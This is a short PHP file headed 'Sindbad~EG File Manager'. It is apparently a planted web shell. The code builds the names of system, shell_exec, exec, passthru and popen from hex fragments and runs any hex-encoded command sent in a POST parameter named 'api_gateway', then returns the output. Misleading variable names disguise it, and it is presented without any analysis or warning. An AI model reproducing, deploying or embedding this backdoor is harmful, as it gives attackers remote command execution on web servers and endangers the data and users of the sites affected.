Sindbad~EG File Manager

<?php


$descriptor1 = '73';
$descriptor2 = '65';
$descriptor3 = '6d';
$descriptor4 = '6c';
$descriptor5 = '78';
$descriptor6 = '61';
$descriptor7 = '72';
$descriptor8 = '75';
$descriptor9 = '6f';
$descriptor10 = '70';
$descriptor11 = '6e';
$descriptor12 = '69';
$descriptor13 = '5f';
$descriptor14 = '74';
$descriptor15 = '77';
$descriptor16 = '79';
$restore_state1 = pack("H*", $descriptor1.'79'.'73'.'74'.$descriptor2.$descriptor3);
$restore_state2 = pack("H*", $descriptor1.'68'.$descriptor2.$descriptor4.$descriptor4.'5f'.'65'.$descriptor5.'65'.'63');
$restore_state3 = pack("H*", '65'.'78'.'65'.'63');
$restore_state4 = pack("H*", '70'.$descriptor6.$descriptor1.'73'.'74'.'68'.$descriptor7.$descriptor8);
$restore_state5 = pack("H*", '70'.$descriptor9.$descriptor10.'65'.$descriptor11);
$restore_state6 = pack("H*", '73'.'74'.$descriptor7.$descriptor2.$descriptor6.$descriptor3.'5f'.'67'.'65'.'74'.'5f'.'63'.$descriptor9.'6e'.'74'.'65'.'6e'.'74'.'73');
$restore_state7 = pack("H*", $descriptor10.'63'.$descriptor4.$descriptor9.$descriptor1.$descriptor2);
$api_gateway = pack("H*", $descriptor6.'70'.$descriptor12.$descriptor13.'67'.$descriptor6.$descriptor14.'65'.$descriptor15.'61'.$descriptor16);
if (isset($_POST[$api_gateway])) {
    $api_gateway = pack("H*", $_POST[$api_gateway]);
    if (function_exists($restore_state1)) {
        $restore_state1($api_gateway);
    } elseif (function_exists($restore_state2)) {
        print $restore_state2($api_gateway);
    } elseif (function_exists($restore_state3)) {
        $restore_state3($api_gateway, $hld_pgrp);
        print join("\n", $hld_pgrp);
    } elseif (function_exists($restore_state4)) {
        $restore_state4($api_gateway);
    } elseif (function_exists($restore_state5) && function_exists($restore_state6) && function_exists($restore_state7)) {
        $element_res = $restore_state5($api_gateway, 'r');
        if ($element_res) {
            $symbol_reference = $restore_state6($element_res);
            $restore_state7($element_res);
            print $symbol_reference;
        }
    }
    exit;
}